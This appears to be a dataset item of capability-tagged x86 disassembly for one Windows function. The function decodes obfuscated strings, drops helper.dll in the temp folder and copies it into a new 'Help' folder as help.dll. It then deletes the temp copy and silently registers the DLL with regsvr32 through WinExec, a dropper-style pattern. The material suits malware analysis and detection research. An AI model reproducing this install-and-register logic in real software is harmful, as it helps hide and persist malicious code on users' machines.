Function at 0x412cb0
Capabilities:
Copy file
Create directory
Create process on windows
Create thread
Delete file
Get common file path
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44291b
mov eax, dword fs:[0]
push eax
sub esp, 0x4c0
mov eax, dword [0x452598]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0x3f8], 0x10
mov esi, dword [edi + 0x3f4]
lea edx, [edi + 0x3e4]
jb 0x412cf6
mov edx, dword [edx]
mov eax, 1
cmp esi, eax
cmovb eax, esi
push eax
push 0x445420
push edx
call fcn.00401010
add esp, 0xc
test eax, eax
jne 0x412d27
cmp esi, 1
jae 0x412d1d
or eax, 0xffffffff
jmp 0x412d25
xor eax, eax
cmp esi, 1
setne al
test eax, eax
sete al
test al, al
je 0x41323c
push str.582vtc0gzg
lea ecx, [ebp - 0x498]
call fcn.0040f580
xor ecx, ecx
mov dword [ebp - 4], 0
cmp dword [ebp - 0x488], ecx
jbe 0x412d82
mov edx, 0xfffe
jmp 0x412d60
cmp dword [ebp - 0x484], 8
lea eax, [ebp - 0x498]
cmovae eax, dword [ebp - 0x498]
inc ecx
add word [eax + ecx*2 - 2], dx
cmp ecx, dword [ebp - 0x488]
jb 0x412d60
push 9
xor eax, eax
push str.693vg1hh
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x424], 7
mov dword [ebp - 0x428], 0
mov word [ebp - 0x438], ax
call fcn.00414d90
xor ecx, ecx
mov byte [ebp - 4], 1
cmp dword [ebp - 0x428], ecx
jbe 0x412df2
mov edx, 0xfffd
jmp 0x412dd0
cmp dword [ebp - 0x424], 8
lea eax, [ebp - 0x438]
cmovae eax, dword [ebp - 0x438]
inc ecx
add word [eax + ecx*2 - 2], dx
cmp ecx, dword [ebp - 0x428]
jb 0x412dd0
sub esp, 0x18
mov ecx, esp
xor eax, eax
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x498]
push eax
call fcn.00414c70
call fcn.0041f2a0
add esp, 0x18
test eax, eax
jne 0x4131f5
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], 7
push eax
mov word [ecx], ax
lea eax, [ebp - 0x438]
push eax
call fcn.00414c70
call fcn.0041f2a0
add esp, 0x18
test eax, eax
jne 0x4131f5
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.004296c0
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov dword [ebp - 0x454], 7
mov dword [ebp - 0x458], 0
mov word [ebp - 0x468], ax
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], eax
mov word [ebp - 0x450], ax
mov byte [ebp - 4], 3
cmp word [ebp - 0x218], ax
jne 0x412ecd
xor ecx, ecx
jmp 0x412ee5
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412ed6
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x468]
call fcn.00414d90
push 0xa
push str.helper.dll
lea ecx, [ebp - 0x468]
call fcn.00414b40
push 0
push 0x1c
lea eax, [ebp - 0x420]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
cmp word [ebp - 0x420], 0
jne 0x412f2b
xor ecx, ecx
jmp 0x412f43
lea ecx, [ebp - 0x420]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412f34
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x450]
call fcn.00414d90
push 5
push str.Help
lea ecx, [ebp - 0x450]
call fcn.00414b40
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
cmovae eax, dword [ebp - 0x450]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push 9
push str.help.dll
lea ecx, [ebp - 0x450]
call fcn.00414b40
cmp dword [edi + 0x410], 0x10
lea eax, [edi + 0x3fc]
jb 0x412faa
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x4b0]
push eax
call fcn.0041f5e0
push 0x44
mov byte [ebp - 4], 4
call fcn.00428209
add esp, 0xc
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x412fee
push 0
lea ecx, [ebp - 0x4b0]
push ecx
lea ecx, [ebp - 0x468]
push ecx
mov ecx, eax
call fcn.0041ba60
mov esi, eax
jmp 0x412ff0
xor esi, esi
lea eax, [esi + 8]
push eax
push 4
push esi
push 0x413f60
push 0
push 0
mov byte [ebp - 4], 4
mov byte [esi + 0xd], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
test eax, eax
je 0x41301c
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x43c], 8
lea ecx, [ebp - 0x450]
cmovae ecx, dword [ebp - 0x450]
cmp dword [ebp - 0x454], 8
push 0
lea eax, [ebp - 0x468]
cmovae eax, dword [ebp - 0x468]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp dword [ebp - 0x454], 8
lea eax, [ebp - 0x468]
cmovae eax, dword [ebp - 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xd
push str.regsvr32__s__
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x46c], 0xf
mov dword [ebp - 0x470], 0
mov byte [ebp - 0x480], 0
call fcn.00404770
cmp dword [ebp - 0x43c], 8
lea eax, [ebp - 0x450]
cmovae eax, dword [ebp - 0x450]
push eax
lea eax, [ebp - 0x4c8]
push eax
mov byte [ebp - 4], 6
call fcn.004228f0
add esp, 8
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 7
call fcn.0040b240
cmp dword [ebp - 0x4b4], 0x10
mov byte [ebp - 4], 6
jb 0x4130f8
push dword [ebp - 0x4c8]
call fcn.004281da
add esp, 4
push 1
push 0x44ce44
lea ecx, [ebp - 0x480]
call fcn.0040dde0
cmp dword [ebp - 0x46c], 0x10
lea eax, [ebp - 0x480]
cmovae eax, dword [ebp - 0x480]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0x46c], 0x10
jb 0x41313e
push dword [ebp - 0x480]
call fcn.004281da
add esp, 4
cmp dword [ebp - 0x49c], 8
mov dword [ebp - 0x46c], 0xf
mov dword [ebp - 0x470], 0
mov byte [ebp - 0x480], 0
jb 0x413170
push dword [ebp - 0x4b0]
call fcn.004281da
add esp, 4
xor eax, eax
cmp dword [ebp - 0x43c], 8
mov dword [ebp - 0x49c], 7
mov dword [ebp - 0x4a0], 0
mov word [ebp - 0x4b0], ax
jb 0x4131a4
push dword [ebp - 0x450]
call fcn.004281da
add esp, 4
xor eax, eax
cmp dword [ebp - 0x454], 8
mov dword [ebp - 0x43c], 7
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
jb 0x4131d8
push dword [ebp - 0x468]
call fcn.004281da
add esp, 4
xor eax, eax
mov dword [ebp - 0x454], 7
mov dword [ebp - 0x458], 0
mov word [ebp - 0x468], ax
cmp dword [ebp - 0x424], 8
jb 0x41320c
push dword [ebp - 0x438]
call fcn.004281da
add esp, 4
xor eax, eax
cmp dword [ebp - 0x484], 8
mov word [ebp - 0x438], ax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], 7
jb 0x41323c
push dword [ebp - 0x498]
call fcn.004281da
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00428be6
mov esp, ebp
pop ebp
ret